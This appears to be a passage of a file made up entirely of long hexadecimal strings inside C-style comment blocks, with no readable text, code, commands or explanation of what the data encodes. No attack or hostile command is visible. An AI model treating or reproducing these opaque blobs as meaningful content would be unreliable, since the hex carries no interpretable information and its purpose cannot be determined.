ffd661f20584543b2564469386cd56e2ebdfb6a4f0eb2e4350d388eb0dd9a856aaf4572a6000a33ffc9fb0542c0c84b58d19a5d801d990501c1d270f52c1692b71abfbf5e7a985cb62d74b6a615962492e4c8cbaefe5f3ed2f1f313b8de3d1cf1e3e199f8bcf452fd87033dd9bc890fd5b5801af0177c9afd8ac068213f1ae8ffce4d8edee3f325a8cd1408cfea611174abd3aabcbd79d7728043cf37da77c9336e87f86a4b957a12124964024e70e12e92bc819850c9abdfbc85054a9f46b913a6bd193554740f6dfc035c8437feba8c264cbd2fda8c357ab5a05412b0235f8682b03407bca6d299b04dbf6b2ac2cf5cf81b8b1a0342e91f580f626533534e3b499c4ded5d135ca39140934c2f89c0aed5c74483a34874cb545fd0cc185f4cc45852727f2ca8ebd0d8c2c75c69adab85347ad4f69992890ab6651aa6bf22f66d79b72107dabf529c0ec99185a6155d8b13ba1099016cb8433dedbf25965e14184d4f32f516a33bbe02c50a4688ba1f82264fd2f6192edf2646e659dd5f41f421317faecb66174651186b6fd39b4dc10a6f93419b2245cce3e53a1c45a9d5e0623db180129358f78b306ecb410840e7d861c2a1fb5ff34473a36f2f56d6dda9b0bdd4800d72b2866d0372989978454e6dbed602aad522fff99aa1f2b359b6007fc2fe70744889a0c32aef42529138aeb0a*/
/*1b481e7d779675284fd12d4baca98e17c626a835cd8ad933eb166ad95ce2c567f39805585098281b6865afc28d891341e352590ad5fa3b56561a6997c6912a8939ac0f83d99dc76eb6d4635a78878609f163895cb8f106e13a11eb359e67ac43d7e0bcfae216e47634718d6ae5a5040b1db7cc88e399971de43583c79b85c8f59102a0a85cdd0f55e21c345392478d724ed2b55ca16f64744aa406bc7fa801dff52e5d6f4975babd6fc5444a1678b249c6d96d3e26db2d28b1459c02411e8a387718884e823613e1c4b2b967c315c3ab0c53ef33fb75988737f1ea00ad8189ff31fc85780c7c369df4aa92460bbd7f4dbbffe6ce17c00aa8e19139f646066da9eb4d619cb6ca2dca81acd671a15dd1da2730b98fb941de3fb8a3bc9d696754c57d16ddd816044557ebb433e9e14e755ef80497fdfd51dd4938a5ac3d353314f997fbf5e72b46dca2579ce8c11585f04b486c42726010d10a6dbb1dd9a30776ff611d4f32202794b6a9f3bd83ff6a13481101339039da5bd00588825dc3e66cbafd22c9e05ed2b29e59ba837dcd08db19f84b43b923c383d8ed2bda639c67bf91bc2cc5a63b76c59420fe918233c544b124adcf8ccd1d6b0c5f5242d99c68b0335833b22dbf458d453b5bf995c1be67efb0c93f2bf15c8a720e46b71757d100c91a3ab790d9b051205921a02acf1a0cb33efc8374bb1671b6735585322c3db3a77338422765197b28e1a0c081b01a9ab68a09fefcbb1815d15d56f03595f565f27bd71c2250ce10c18f2ee1df0f4861916e7e58aaa403797b5599b8f9ba2eba42f8b7b9120103df0b368ed3109a1cc0e86b33c683b0e05e0be140679a8816f78d7fd5e7aa654d5ab1a00312d77667bc041f53572805fdb464b35524513d8f960cae752b27f43addc6c42af8ee6c6152f43412724e4c2883f51bad3997b77a124e913e19782aefa83635b73989561f5cf4e1dbc80a3b38275f69b707da67db32e7691e7f854844931f30f423b951f3a916792a0ee5195cca97c2d3f59f281837d4bb5e8fdbbe2923e4d968ff28194e756550fc7af62fbba1c9b70b28e3de99bdc1de4ab4e8cf18eb71a84c1d51ebedf40eedfdcfba4bc54c0fddd9f86d75c09911adf18d6aa4bd48f26c81458cc2c2cf9f520618ca71257dd9f8eb0805a9b9b435fee944579a6fa0aa808040f75afade47c2a209d94e0fb50a6e5471fff54cc777752dbd5b8909d9b21297c66839b4798f9572a46d08127483e8c3ed926911286f82c5933e34f9331f6c6989f011bd346dde69ef7d8811856c2307676551e62ca1cf3fc23a856d9da0da006a7e9b09529c787b5d3dbe116afe991b22cf3c65098d9054c98dba41fccc39fa7084433da194cbc57cd4caeeac68473315f3c474185e726d31f1d692ef155ba7a00615b95446d5e4a8716abae9b4f5e8e4b84cbed0108ecca21fdd59701544ed13321b18a14049a7efa1a9d574561c7260412998e94d5bc5c7faf0b084edd5696a2a311d8cd30321fbb045f14ccc6e0f71adb41315dc2a0d4137f67d9ac0ea04b99f48e61339bca6fbbddf77f7d7c79bd71b0531e85aebfdbf013ef2a986b8a813e366533ab6b380d52337c49c60094e0cc525d3b555cbffbffc7986897c3e34923185c6ddf40929b8fee1ce7de64957373ddd660a3f062284a19fdc5918e00b0880121ebcce2d07225fe2eef1cd849de982e4b552be993562bd26accce2cd1e9977ee3b7c8755d2368479c7dcbbc412a0a7e0333b57e2f409ef6d2c635c9f9d61318dcee709b940fe0ec211ed901fde28cdddbee673d23030e5c696c907e580876660340cb9c116186baf333d0babcd846a0f2e910de7679cb0e7409b09ca8a6c7368e116d7ba1969ed592a66ef11fa17a6f42e684fc616270ad927fed4969151fbc28b2d92a2fcbd9fa1f8030390c243f076db0c0c067802a90a6933f0f89be5871c8b0e40347d10cc9634fb45d2afa8b348aaeff7925d1b7697a2bd603842126c5e9be94801a0547b04c3aa6875d9820e0260599f3b4d6771ef957376dea22c0616a80a2e121736e3613c37fea3d56fb7069f225b1af23f6bd69e8553aad22ea24ce33d87cdfefedf67e59c1049c4e69a9fc545ca46e06687987d9fbf2b60d243c84af7c7f5a5ffbf45318417b5c8018e4c8cb85788dc3b2b6bf38379594c9e29133eeb16a684987df43d9efc76b7524cbef62c415364972ccef4f1a798df33df4996604a5c74bb3e7db1d0dd880bddf243097b30dd3583e2764445b3e0e83dd3f96008ee5a959238d678e9813a1de648df55f9c37acf44be19059f7077ecbcf55665781367c5685be72527a4560e1064ad8bce551df6c45544b416e8c388e13b83f304649193f6b22080457e540e365b5ff92a638d3e5bda94ee26431085dab16063c42d2af19409016e72f0430bcacb496bcb6427e5f12b094c4c8c12b38859578dc7e48811dcb8b25e79f33f65758fd43dc5ad808f8102073ddf9b44166925385423dd2cc45de80b92259b0eec52b7a76296580438c50b1a2ffe77af96bc55c52daba5a348bc3f78d7205feaf18e026a0914664a879e062711ee617a03a45d608a9818ed3e5df66f03f0f07efd8d1b64e1ab400a9bd0f3f02b052752d3f63c1f4f922a43ada2ec0cf2a7cd2b71f02dbeb27eb650a2e13c97fcf45b5ce6345fb660640de2fb76cce31370340d35c83a623373b88a10ce8f390e81e096bc224dfe842fbe214d3df019275fecdd7f87878781fdc1c705595e5a9cd1839b44c653a440c39b70cbe6559d9e620ccf7104b2544b39526775f8d7fd81e3c47fd327e3bd2f9115*/
/*724c3115bb58d69a1d78f32b932c00dd2a27d584ef70ad97363805cc72aad6828ca5ea0c428c8c958c8e73918d0b2a76c37dca70d50b3f77ab62ca4964e1c11801238ca3873ae82ab92559657472ebbf0069223bb51be90542caf8bfdaab7a770c7e8e3fb2ae846b5dd8ea3658d941ca774f192971e9a57b95efbf1ffcee108e993f86c7be3a3400490b0149009525491e11c9708475add94abe29e2fd02e4534193e53cf0a13dcd3ad56eee5dfd353de6710bb4f380a84d9596fdb8843c717e58c0725427f6412b0d3be4e53322e78df08f9aa3c1210d09b8f4953ba7b54487a3ffbf13ed714b6cc69bc31d3429fb1ba5222153aa111045b6a6a51b881ee4fd25e77945e01cdb6d370849e354cda334b7dd8e9a44243fd3d1bcaab6b4738cdb0fdbd6ef69c994373e28ec6adf5de9002fed484b318e001a66a8e0d06f422009bcb402c9902b7a28b38d79b9bcd2316205b093a1ee6675d97c2e186564d906d712960cc31fd69204a0f33d81881202eac4dab4ab67b7223863acf02319e5e572732a32524589044d93232e7b10a86e693c7424837087c3c40b861ee6c66befce31c5badcd0937067665cfdcc274cc21aebfcb82c646b462d3eab6c76897b9c0cfb52b5c7505a1e9e78c511f630db06d95fd7ab0fa005de0bd00b0d572a80201cc534d6291c2210cdbf88a0f0ed8c931ab67b4cdcdd06aa5a50ee8f2bf84dacb9178b3d7d6153b7036214e02688e5671feb3e11291b3fdb098aa1bfb50521179cc645d95bcd81e117823578e78c9e7c762d5c64d1bc1c61aa6eb4dd18cd27c4e166bbdd5e6924f19c50b94815659d4779a07d204c7c5ba02dca3422cadde3f90fdb7c144c2f58ca65affc1b27ac0a2bb8755c83151f750d5b5e7400065974460d34f35ca692a81c906e524d71e77c761532344ba869451209595c3efaad605f8cb0e83bfa4d7e0d0441fc41bc8b360f497791522614ff1d238cb3bb9057797673a7fc6ecd463ee0aa1baa67aeb1bbfb2353492e94b16985972dfbd18b7ea45886d136399d06bd6b4458f1648acdfb56775c86920eaf9d97dcf0ec225e5e691f7beac492fa039b5df00c0953c6071f907741e3542124f69df7125e113833e677edd58d78da4a84e439a0569a22ade8e4e5709627e14d5a1135ba23020e073b7d9fc103f0be825fff1b7bb6165e0b8d59bed4c9f6bdaf042da08f24d78238371c1a0c9da4015ec822bd0efb6d6cf60c64e2c4e698fdfa109be5a28ec13491341566c17dedf6eee489bb03dcd3b7270748b8cc8b247840fd5a28c20f92d301a4efea4b487b352c13b58e719898cba2f8300d1b8e5960fd3ba905612cf61aec07cc54cde5a73702946ade323661f9db3117e119a111b1b3d1a4041dcbbf8971627abfc78c53f0c97b2d0d1ad7d20bb440c508d402d7eb4e8a52ca6a26f53383503e61ef0b55aca8490a564d2856f09b7043d0bc215e5839b96cda23303b26af82dca7f20dbe861eec7de25312b2143303cd36afa26f5c31819241bcb474ed31cfc749d1ea7b87bd3168268f875d6e62425f71e5971a0bb353400bd39b0c968f09fd29cc5f141c6f3bea89b488dc92c7a2b7734127a209c261837de92a580eaa4acc444fe7cb5d151d6c5d33cf10010d423f33b79e05e5302c430b101fffae2089e3139e572bc2d0a5a48a73e395c23f72a9739fc593ea9a67aef4cd092b2b02d290f7b05e2dde44728f8ed7834838798c72c13c9f716253fbe27f7c0dc74b6e2aebaca9ff71f82e9ad3423c42baf0c0792f6c141922d2ba0033f218ec4c5be7e3bacf46ddb1deace79125e97e4a21a8e273a67a0a419a429695d0a18df3785c5b48a9649b830ab218f1dd5b068d5c4c20160464370d72f010af14220deb00d818639bc6d461a481be6d3210cb0a794481768499c702abb40b745b657fc349c0533971c29f58a0524b97bdf484b6458346ad3243b1c1025afd3e1295f6c20387e17ba0b918a992f9e851e5fa9b8ccd228b3cd769a05c30e41941129aa136ef75f29ae27bd974fd3be4f5b1ad19a2bd92f8a67ff3ddb0321c10798f45737847802bba3f871b6b83cd152e195712c046612872bc1cf1e273dd4b2b9c9ae070e6fabafee3a7b91b9865f4eb74e2752e34efc1168e8b49154e2f73eaa1e1d7a6b126b23fed4653777bd0b959cd9e3d62c4dcda6a91ead910c193873d113b8007d5976080e2240cc512e6f1b0471c2c7cb7693b8dc94c4a3fb325d9a3e530ad1a91ce42dba62b2e3f7bb3f84bd21a0e562816813d3f23ab6a9261a6b38d3c4a3522826d9b1a8c9461dc20a95f9272d002e0549607ec56c1818759740d184bf2413cf8b876562fc1e7acee39ce4ad944a85fcc62c3438bcde55a07c9dddd9c02e47dd1332fd2c3aac00e119191451f94880670f19e5e1f4ec303bc0b4de898cbaa61f4b4ce2e4a764506a84ee0f70d100ec5579567bb701c038e9995d41fdd105109de45956c7ce43a8ab8544dfdb6838dfa4e8e3ad4a15cda473974e37eae59a085b244f938a2a2e9045cef6a19f6293a5b32611256759aeea8e56c46e5b889e4ff4c9b4aad86ee228715d3ceadaaa32b1b660640f9587398d153b86ec455f3c2fade3a2917e8a58389f16356eaf3310b23f87f43d970124b9c7737e3661f67f87d5683e93f687372eaf266a3e74b6fd9f4b44991241429aaa4ae5a6227254babfe32d5f5f1773f746772b88f63ea3a33f3f5d17eec696d00374673bf56d5f470ef0841b395c1189c19e545100cd1af74e1fee8e8e7640ad207e77727accc60c38d2bcf653a6b8197e953a8db571c3a99c400027a25*/
/*d0a61ccce5b0fd7ee2d2801f93b6f6eff57a591223955163c456754e6ae4332e948bf3fbef61e1609b4143ad5517011d74dc7005a12c00cf76c580e75dbab20df4bdc15a4677b44ccdd4af6d6e87b8d4193c6f89156be975dda6b9faa39270cbc73df7eb4782874101f5f0d1bbfccccf02ee8685370acc2ed3a982155daeb79f7f7884215ce991ed651c6ae43ac59104642bfb8a9988bedf9df146217e4fe006b0a99b50551cbc3bc40c2170ce80a0196e00bd8b4046b98ba69c16fefe7f8ebf335c577bc1bae9cc9c3f69f6f10e5df4fbebf0754a9c639fc410e67eb0f750f68efd35e0ec382c0fdc16dce842ec7ad53d326d79eaac9bda0ab6f443d0bdaaac78aa38ec30b5cc086e4fd805f3301667c1b7f043c4fae943a696e214810dcbec3dc4cab89d6ae0bbaaef0638ba6d198b36990daa6de8c6f0bed4741b6615c222b0e06818a5b615465bb2f0060cfa5a6fa258a67ab1f9e620aa077ff0a03d597ded1778908095547a902dd8b26df457f615156ceb3f8de735688f38474810a0d9667b90cb2ed297aae8945dfc415f36a12e2703e0110e3164d6a4d3bb312d51bc6ff726166449edeb608802423a18886927acc8ac73156dd964b8225fcb83141a8d28abae79c11bb565f031ed85691f15320cd529a0a66b581c55ac946bcfa876d64de097a64df2b00c961b7e7163644c0e0b109d582be25be62a6e7cae2094df8bbdaf126761f9ba7ab0bed0d3c95b22c2a6de76dfa4a9395172cdd19e4d9815e5c8e99b72f242273837d890dd8c52f87863d8a8f18358deb1627b34e1de5176c70d8c757cb0c52373471fdb6f1d59b3ba70ea3522ddb4177d6965d36e8e87a6577fce3cf994b2374603f03448a854a3f04c1c2de4b8d9c6ddc4fda351967578b7ab8ccd7aa45bbdcf5ff680c099bfeb117d53b1fe06a187ac2b7b55842a22c6185f82da3847c27bb5f0683b842cef26c0042570f114cd4157a1ac4e4f2e97d47a60ea8a954724586dfbb734ee772c82d6e3a1cda076ec809c8e0652d49f4e7548fe393fe7634ffa49c61ae089058a40803ecda877d37457b21522dfc611421e954d9e7c3171437ac9f6e7c605dd8f1e35d9f4c9deba0a06010b8beb1d77e19f45f2e334cb8cc5cde77edafd8061896dac2558478482ead27d39dab0b68af398ecfa0a04f1ddf83b5e4cf9499ce9a70571c935ad1a84c83a96dd2d641b998547137e9399f6bbfab26b10d256edb33ab42ab2793f738e7726d6a4cbc8ff33f22f341bd307bd71820f472e1197074072f1ca30ec4db0a7358b03bd7b36842c5252e3b47800a2c1ace7f9dbc7e99e242308585a2ec546df6a85d9a5f795918ae3dd61aab663253ae9d266d07cc75089e560e3d2c744a9dfc060f3381f046a5dda35e283bd3246bb04cb2a5608a068995d21c7f1825d4e9710fd5c726ca0e74eacb402cd4318cc23d88cb8c6597d8d13dbfbf556840254cd618044b38ab3339a9deec202c999a6951a74efb91d963bf853af109b2fb300603740298114f06ba73b6c1782c49333e0a5173fb581fdb32f1b4ad9f337368d405827554cca57969aacdf0c0f2b8ee7246e0b53354d3673ace5bbaa113bf2a68472cf76c4e879c79bfe8367db9b88bd598afdf0ba1d1d6c77d75759d4f9c300bdc8c711ed7e9a68f38742fb821881e3f743c620bae34b3c19a68d467e23a7cded8719980476b3cfbd2d6e5792a01b0a9299d15247668d4998fa071eb870b1e9c7e134d7297bea7905785fdffa649179f33418ad4ff38ddb40f28124bf96b4251ec8fa2fc1658e526d1944ece68d44d17cbf42297958c26e311e950d60d942e7557942100a83f0a8b934b3a648d20898b02f5ebc1632e4255cddc777d0b6f3b3a46901d850d8a7afcfe1a36ec2a6a31c7d55af6979c85a2f09e7af83defbc1dfc510c3049050fbe6cf34a9c9471b00d694119b7d983db0cad78a1abbf2f719583e7ff865394c53c414a51860bd645e5ae06e8919bb8c91419d83ce0de2ab13d02e33cc330b8681fbe6b9a8ece37b07b808977d4005aeb216bc6e8f9a311fd84b4177d431e5832cc3edc49a09d438cfe8d7231cb065e3aa9532af6143f4e09180d045d714247da0c4c07027835c39736bc1a06ea9493bbf824888d1e0569b2154d010a064d4abacb970b8a4681ac83e7a7c836107ea4a06dc995a97204d90a7fccc390a7ee9a4b9b7dd098749a6cee03ba355e08656345d857d46cb53ad55efa52f19311d997e53bcacf04f794b1e2ba66343b05e2b510d7d41a9dda6b74e48fb9d7f371bad9cdd18a99a7d034a68ec32ad6d840ab1a3fea050eb53016d4a98bc565d27da00e08fbe2c92fcc54bfeface61569a1de9675be6c57f752157ceb6ab1fe0b15df36160e409f7948b19c8ce4afe4e7d695b5c433808112a91c1ea7b8ced7907580bc8a5dde87acc3957304ec41f074854b7b98ad5193bed12f0e7d54835ae57e4e5f4d69375f59e874cee3bddfd6e6e2dbfbccc8c5245d139f14d909e1a31f9bc2052c4d78ae61e054326c4bde07d51221bb3fed0c7df1cbe3a07ea2de375cc876e5e3232c19eef0dbb53299821e1d450d3e2b1f37a44e8b13ab0afd39fe3a723bb54fb95e1b18077001032d14c755cfea82abadcd24c325439463a6c604368de3d200fc83c56fe28fd113e20718b4f58fedee5d82b2cd294bdecf8c12a4581f9fe1eb19af5303d42419c3e0f1026fb8625ac2169735cb4c4a7eb5866f03a98491bf40be31552e725a3f60df5e24e3d8ac983ce4ce1e8a451ec46f9e25f8c2f245ada401431399309ed76c184a85e92ca2d9188b023e5b2*/
/*1c45d84a23c4d69f12d147d484acff2ae4bc1f1e75fbe30940406fa6265ffcaa9381b6628592e37d250052b10739a1d8e11c177c9ca7325441d980b7a109f5d64cf140654f596cf6c9e8c0b97da1204d7f9347e56693c76dc4aff640aba9d9ee726afe103a96d5a6173f6923a3437602ca6ceebb3a45aef49e5df0ae07705f52302402756c575c518848322d7b30e8e0122ff8635d248a17719d0a77d0c0acf3d2037e7380d626e11871850034e541a2409dcbfce2ae11107739b4d97ff9c5a1ba1c32d6def9b1b0da06228f045ad1e57996a4ab328a003a4d343f142e91f9e7563352e2bcc996e2650f580c0369afae1fd3ce66380edc73496702aeaafad2387787cfdbead659982587701d983b58a1dfbe3c75e250737ed824ff888e79d688424f5ce46fcce662cc0bde50d16e13fc89c17719ebcdddb53182da9980d141ef152fc36314f8572a2f51a8e3b2e954f12dbf03b9834f5f51cad5c4804ca1640713c4cb0ec6138ea47b98f7967a58a3e838ec8976a1931d790dfc7c3c65c5f619bba8ef2b290e8bdee605f8f93cd751f5d1d3f39757fa4cd4f5d11ede0a9d6d17fa29de6eefe817b5c4d8a5c46bc8bfdc6d9f8669dd46ead7866e694caaf71270af3c6411383221b1dd4d30eb7e2c7c7cac51eeab21529d09735cecf05333bcd102e228a6513716deff61a471c62df104b1f9910e59040619094ace9ad92101e34d7bc4d57dd76a5c83dd614eaef4de2a59abade22076d3a9dc10447dd3a53a2e4714eb1b1af29e0b4288991c1a773ef312bf29d108d10fcf7574662e1845d37576c9992276173cd3a47e566968791332d59e62c780fa817cbeb31b24ad531cf9cb2da43eaf0e2c31cd9b6a0a5502f54e9a35423c8fd670796c4c6e16f8adc4343ed575b69ce1852d510523096c8ff92fc218249989869a5fb28393bb2f35ee3fc8019e6c5747cb8c21e3d7d30d4b594f417a040b85737fdb80eda270207d63dbc9acadabe9d8a847287792e4c6635f8b89ea9045113d254e51e375c9343c642f812ed93c575a75cf6c22b2b2e55809915325509fc8dcd63d052f243bc4f3fb12c1a9d913ad02171610b8ff1569b3444f07208e0f0b0d91a7feef636a645d361e76a1d6bf53eaf3865b50cb961e7ab74bf0a0da91a4b2a8188ee36f27510d1bd8685474a36321a964ac73e2ac172266afeb87e9075c0b84c25878352917f758a1ea2687611e1cd0de18ac970cd09035f996374262659c5b7533e856e70fdaa78e3b5470e645c077978ef9328ff85663b7b8c11d976ef0985d83d15801c599c897da704e45f5bfe13c9f26e0710fe7410203f54f729745aa7d9907a08254897a4a11900d8dc816cab12345bedadf24038fbdadbb415e52924d2fdbef2ef3c27daa35a8e873ee315fc1ffe99e94264edc614f01b8b574933ee9e4b6c9437c497a29dee0c029d30938e6d03ac299e6dafdabc21d78b12788a74d3114074ca08d58c7582fab2101515f91939c7016548660cf1ca0b818ad02acb5002db8c72897e0c511067bac3eefbb6641681d0516a946cedc53e9bf3bb9d871e756911eea312e4d67d076fd8f5f49c20252e70d6b4277628729828017034fe97416f83db5bc7525d1cfbf691db9d548800a4693194a44df936d22b58cef737abf5ed631b34903ee17ae81597f4037f01f2b084db084dddc4077fb3cf6bc2bbdd201e657ee86d1802bd6cee69a075603ac99ee15ab76d44b80027a9af6cbc7ce91199a31c8660df104e26bbec1bf2521c45b213877580fb1a06ed53c25d9210f47f5ed0521bcaa2cedeb418ca61ab57b672b1834374e3edf204b3f35144a6c6528dce3fc8316cf030600f2fbf18e7f34a6ed79e0276361bb823b7114074fa7fec1526004462ec4c50d42444a611d6d117438eb3bd2cf7fcf9fe62d45874abcdbf21c4adc27c55a4f3420a01a5ff52e729bcde089fc53b7dff0f633633af4766e3dbebaf0b5d32a1b97f0390ad1720970740fdec7e724109b70d2305d7b1408459087cfebe8215d7334861cc7f2a79c7f99dfb6744c086d0056ab3220a99f83912049f091abdcbaa7623a89fd6b35047945c9345205d1651ed05b9e71f6ee201d74487bcaa9e6c9a44bc9c06ddf00e5ff9c32c81f18a9f603ba4037b97fd50cf964fc236a5d73a94eb32e1975f538baf3bc7b3386784736e792edfa913fb01ad74063c02a55356027d97a4da202570cf81cdd780829f38581ab3a448d2b9b4955d72305fe31e041273d00e1dba028185da13001692f03aee48958da20da6ccf12e9fe3fc81eb9d8baba36096417672be2fadb20a6fe049e71b53877e82b6edf87ee393f7fff16e6785c282efad7f924541f8370a6639ee52fcacba2117a561ed323d7573e4599db6ef69c17f1c9cd7ca04288348373b93d5e00ad2e9ce75536cf1a1792365d3dd17e6ca007957a5c57a2255c59c38b5c08c8a8ec4eb3a17edb2bb93dd216cdce998afffe501791fd5a5077aeb2487e3744cf7c26732d17c51d3926f7c6bc8e5963af4d76c1cacbc1223515e97d4f8b5c557056a4d689bd136cc776ddf0a3185a0fea71cde793f590e129ab5a582df38e232ed5234628ceb9cc9ad990d40aa18411fb295f54b12520f5c599c8da5a30066fe269f8ca3fde0f7d38c120c081a5285a00cbd6e18ef0de4b729a0d07ff662e09015ad1ed637bc3eb4b2fc2f0c73b240e3939b7bdd9b44f7511ef9518cd3f2ae9ad4cf9180a52d8bae85091d07d5ec9768b7b20b97776e118d775996dc075b3067b79786bf5e8bb8cf781880b45e1c5b2d976641084a986301140725cf4a010015b*/
/*a4e7a6086d67b2287f7d20de1dc9adeadb50729862417460b146c8436634008cbad53ddea08c542d936c7dbd403c1d93bd7429cfa2b9f6df6323d02a7ec0edecba3004e7b4239d1685117920da411a5bb623062e845a23ec02986ee63dc689c9d535b9fd82e3d215f8349d1c5da11101d3916d7666e18d5f695ef38edc6a4f9d538cc208e0f163f473a9e7c98212bb9ec31bde5e9102a7f039e884fd1a7c3adfd5284a85a560a600fa841babbaf252f0e438098080e3a02bfa1e7e4ad51e69c680bd7b98e2164225c9898b4fa8b9c5ac52ff19eb455ceb3da685f992cdc5038a8600c02ab1b2c4348a3844a0005dbff93a0db604596d87c1b35f64b6c85e09f1d314098d571b18a1b4cfe48331df2a72851141e9557b669371f298bc9ec9b3f2ac2832e3ffd4ef486dc238ece99ad20ed8120deae2c17ab958b4fe02bdce29cf66f7d31c359c1e58b59e9ea30febd34b4085a4ac1fda2f2d060ddf730e56d00ac1205a366e80de628f09a4ef16e0ba087cfb4f9b03a93b7ced2f36786d6b75a729b6779980150aeaa6d97fd399414b065d44cc0be74069099841a9edf677b72e3548ba933d036e08d54423b919478f4049d2de1a556e66b7342c54d9014bb7f0645145bb1f0e947c56bedfdbf36ff58840cca041d35d3766a29113a4570589fbb93ed470d42b4f77ef1f0c0f71a7a07fafab207c258e69bc3ada6a4b4a61b21b5b1158f864c24ac2256d429cd602f6c87ea8ce6dec0e2a77ea767c8dbd8f8b2110e1074b92eb7a2ad61baf32e714868e25bd887a16152b958316956839f913805d1ce5e7aafbb9d9c0455337ca9b542b37fdf44406e9c63afdca9c631461076538929e8e2ed9ec3ea007bd84cae01316896a93f40c156c06e250bfd46912c0690b0d5290bd4ec1c9fc313bd42ec5959f32b2187d585536113668785bd5998a7e22b873ffc939898d2f37906a844d83728835f405d904a03d218d6c6848e97b1390dabf2b0a5b10f1a54769158f0701f037b5a7d0865750ce6a0232d73df839ff0f87387d94cff398b9851431a8293edad063ee666fb9d0387584e4a73c62000c64b4798934cf9be2a0d04b19c3ab0c8f241f0c113969e4dd1eb579cf5b453fc1c1e57f2c225e032469b28c2df8983530c594c19994387c41aed25271e1d8ef684fbf6410ed15c0cf5488bfa8b4f68b5c291f916548460e05e9f9bad49b226d83f928f93e581e524c27d3788f56bf6b66131964891ecce038349834257b5162a3b45d41eae1bcd573e1cdebe044624f07ab20833a8afa45e6b5b0dfb9bf1c6381c7b03493022a946d5eeef59034ed46aca095f8c32e260f5e0be989c3a1d2884793200917b10b7742ce0b64715c15aeb73167d7ed94848f0ffd5c23d8c80496cf12aaced9e916c424ef26ee1a8c97e22e34eb714ca75b2cf1d51dfc5fd98b828bddefb438e278ca7f9815addfe9e3353b62953daa490c1c251908f855c35239bcc27290bc92f6a79240174b0f739376c41657f287a865282f040088a9e72ab65ea6abed4ca095f1f2b1d7ae50de709256b1e392540b9a3bb9961cef309ffd2de74abc052d397508945bf5cb2778deab8110ff02be7775030046e999c6161ded0f03a536381026170a144206b2a031e7b306e5826035948f71d80018feb2823b4908e69def17f571496597b9b32b716d9a9e05538097e729fd7a0c417e8c3f07c1af47dc62b7e6a86c91fe5f3f7d9dfa68e996b0de712d57a17eab21daac97efacddc281a0e944e5caa234ff77c7ccf02383cc3f60930f6627f6def82874a5664c9f62eb633a1627049b0d60e2a0ecad18b6e45b422badd7fc034d584e9889d2a3dab77c1b3046d93419530f9c38a6f4c6d98cfc10754104ccffab0dfbb9e070823cabb7df7c60aa255adb7ee522ac559f4ee979409a1cfa8a9590e5bce957e5cb60a8a4fe08c7ce87fec9cf188b4dc3911ea2d1ea72d4cd87caaee0aab9430f10a749e51b91ea32543724c8fbe637ecc68255b046c97c6c2ea7359ea077b95c12b05c0de904ae21a66d420f5971c484f785c789832ed5c50397e4c22f2704b03c310bd7a5e2e53a9d4a765fe5f660a474e5eebc9bb375a9d438cef239fdad1421d69591529ac60955c63dfe98a74dcf4cdfb09d657d429a2c1bae023ab86f3501d5f3b55be8c4f3d5c7fa1b39b9a006a6b545500de73086828fac3b8ea1a0c7054977758af4f647beb7374425522a95040e1f0ac4d4cfb207b1d579c1a246b33134faf4c70af880e95e63be187675bfc3870dfee3fe97014847c1bc9f3c35b763614fc08ec9629d88a6d836199ec2f58a749664db0b77ee364cdcb204ed26261c5afbe5c2aa87c21f75c617cb5ba497f04f29b28a3015bc5b25634a531256cb3e8493d10e0fa8004066de6e66e1bfd15f3617d09a219f9b4d0e0aeba038c8bde89ce34c4a8565971793bb4f9fc2a2dc2a5dd06335378881395a62f374eb0c197217faf5e379831ba58a3786d33c80ccb64bd557c44156c5f428fdbb3ba3f8706b926074d280598696525602c3837cb446f0016cb67b1e59a81e909ce852189496b98926d884886072c9b3effd140b5127d33e3553d3a0701d2e2e423cebe22f658174fa4faec93fe980bf7ef14e1a4f9c2f341195d018dbbab4f2ba2f4896ce550ed49bdb57f2a641b9db7be604febfa6ade7a4a06c8ead54801e75c6e0f5ae1d82943ceb221f36ca35d114a43a8c2de878ea8dd7455308bfd478cb80c8e7bcd381d4f2ae31a23eeab94dbf7178af502d311ab38cd1a69e2dd187ea3c99516ac564515824f4c10d3a05561cc330ad2fdc*/
/*63ff136afb990f08a156773f0f21b0c6ac689acfe3818d0d8192f5542284507a6dc5ba1c55a63a88478d14003174cbc562e5aed6d7f8b04490f55a0343cc7664c61c9a0a9fb214595a71b6d238de7175dae3bfc438bb23900112119d4436a67cfcbe4e96176f8aadd98d8cb51f56fd2a01221a6dcbff149dff6da3d257f80985e328e5d713abe5b9f9db9871995b223ae0a4751faf3974ada90b2e7c5669adee19206b2dc8d57854107aab2b84f84a4210403c9e2d6eb463ed9fd080aad5495c6a904228aed8d17f8ee03c35729e1ffb92bdf48b942b70878d8467fbaea119ccc4396a9f9adc6bec079ea4ccb0ceb7a62cfd7de5e2f1505c9382a5bdf3f38d213921d0ce1c1d7b41c12848ca82d9fad673c3c7870a85e6b1752107fc7c5a67a60f93a3b2b7e35a67e87a921668abf859d3d1326266cf35e941b72c57a53763944ac48e4046930e8416687d0aec15092d4cd10739715c024760245401592ca68a62e8d75b3a0bd1ef25cc7712cffd4dab82cf095ae3ba9a5560d2f0574adc888f4409a736226abf51f37d6b5e3e88795daf3b2c6afb1bc36159021c8961e2f78803334348cb3a422844c5e3c9c3b197312921d82bd47f3bb886fb1d319e49490ffd09f941097d8e0cccdda1769ddc64a30ebefdbbc8b08c3756f3d5a9d7268d8327ac5004f959b6ffdac653ea5caa540c63604c156082122b7ea800364d1bcf219d2a96a791670b006fd7d87bd37c3999a82c1a7e3326daea9fe3b1be96b6a0b333c14dd844ef0407bcedaf6ac23a562ae36caf53f855de41d06b8e5370cc2624a323d10098dfe96211c2efebce944e1ac12e2c28d5affee9e4f0314bd6e0f4398baa47f3216b86d6576932a76662b9c9c5780f3c4ad0668adc7fb8fc7fa73b135028b743c10626057444197fbddfaf16e23a6fed75d817ea5fd73d29cf7f807feee3737c03dbfafaa7a3abccf5a5cb2040e4ed62f03c184678922ed2e0908491f1a00fab1d0c822724d67fab08017f1bd427eb04aeab953bb355bf07ab15f9d9b6a02b5ed830d4548b06d81a7589c45b2ca93cb905c6eb3dacf1ad4e84580f0afc7e273a1c0c461a407fd131e469693e5b9efa42cfb73957f3776c6001c8479ffec11d2bc3c76c801e2af22442a59f0e78c55c50774f3f02bbeb64c26a234d29d7f91a4b64b3da1303e8a30ad53cfe244553d16c0216bce46513d0fb9e66b103e9db402d1d6c7c0bde1987bf4ae91e3297d85d0241e4b664f6a582ee6b2419d22a24febc2d6bb8dc50e2706d2f819bf42e598de1b1bf2670f7dc59b9e9bbf37d2898ddfbcfc3dcbc44fb4e9f33b738fb3aa740bc55bef8eadaa4c73fcae091d440934035e3da87e52685b2883f1e234d